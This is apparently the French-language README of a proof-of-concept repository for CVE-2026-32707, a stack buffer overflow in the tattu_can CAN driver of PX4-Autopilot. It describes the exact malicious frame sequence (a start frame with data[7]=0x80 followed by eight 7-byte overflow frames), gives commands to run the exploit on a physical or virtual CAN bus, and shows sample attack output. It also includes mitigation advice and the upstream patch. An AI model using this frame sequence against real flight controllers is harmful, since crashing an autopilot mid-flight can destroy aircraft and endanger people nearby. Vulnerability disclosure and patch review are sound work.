
Preuve de concept d'exploitation pour CVE-2026-32707, un débordement de tampon de pile dans le pilote tattu_can de PX4-Autopilot, provoquant un déni de service via des trames CAN spécialement conçues.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
Ce dépôt contient une preuve de concept (PoC) pour CVE‑2026‑32707, un débordement de tampon basé sur la pile dans le pilote tattu_can du firmware du contrôleur de vol PX4‑Autopilot (versions ≤ 1.17.0‑rc1). La vulnérabilité réside dans la routine d'assemblage des messages multi‑trames : lors de la réassemblage d'une structure Tattu12SBatteryMessage sur la pile, le pilote effectue des opérations memcpy() sans limite sans vérifier le décalage cumulé par rapport à la taille du tampon (48 octets). Un attaquant capable d'injecter des trames CAN sur le même bus peut déclencher le débordement, provoquant une corruption de la pile et un crash subséquent (déni de service) du processus PX4.
sequenceDiagram
participant Attacker as Attaquant (nœud CAN)
participant CANbus as Bus CAN
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Trame de début (DLC=8, data[7]=0x80)
CANbus->>PX4: Début de transfert reçu
PX4->>PX4: tampon tattu_message (48 octets)<br/>Décalage de copie = 5 octets
loop Trampes de débordement (7x)
Attacker->>CANbus: Trame de débordement (DLC=8, charge utile 7 octets)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Trame de débordement finale (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → DÉBORDEMENT DE PILE
PX4-->>PX4: Crash (segfault / défaut matériel)
Note over PX4: Déni de service
tattu_can activé3f04b7a)python-canCAP_NET_RAW) pour envoyer des trames CAN brutescan0 ou virtuelle vcan0)# Cloner le dépôt
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# Installer python-can
pip3 install python-can
# (Optionnel) Créer une interface CAN virtuelle pour les tests
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <interface_can>
# Exploit via l'interface CAN virtuelle (pour simulation/tests)
sudo python3 exploit.py vcan0
# Exploit via le bus CAN physique
sudo python3 exploit.py can0
0x80, ce qui signale au pilote de commencer l'assemblage d'un nouveau Tattu12SBatteryMessage et copie les 5 premiers octets dans le tampon de pile.memcpy() qui écrit au‑delà de la limite du tampon, corrompant la trame de pile.[*] Envoi de la trame de début de transfert sur vcan0 (can_id=0x00000123)
[*] Envoi de 7 trames de débordement (chacune copie 7 octets)...
[*] Envoi de la trame de débordement finale...
[+] Séquence d'attaque terminée. Le pilote tattu_can de PX4 devrait maintenant planter.
tattu_can s'il n'est pas requis (tattu_can stop ou le retirer de la compilation).3f04b7a) :while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aCette preuve de concept est fournie uniquement à des fins éducatives et de test de sécurité. Utilisez‑la uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce code.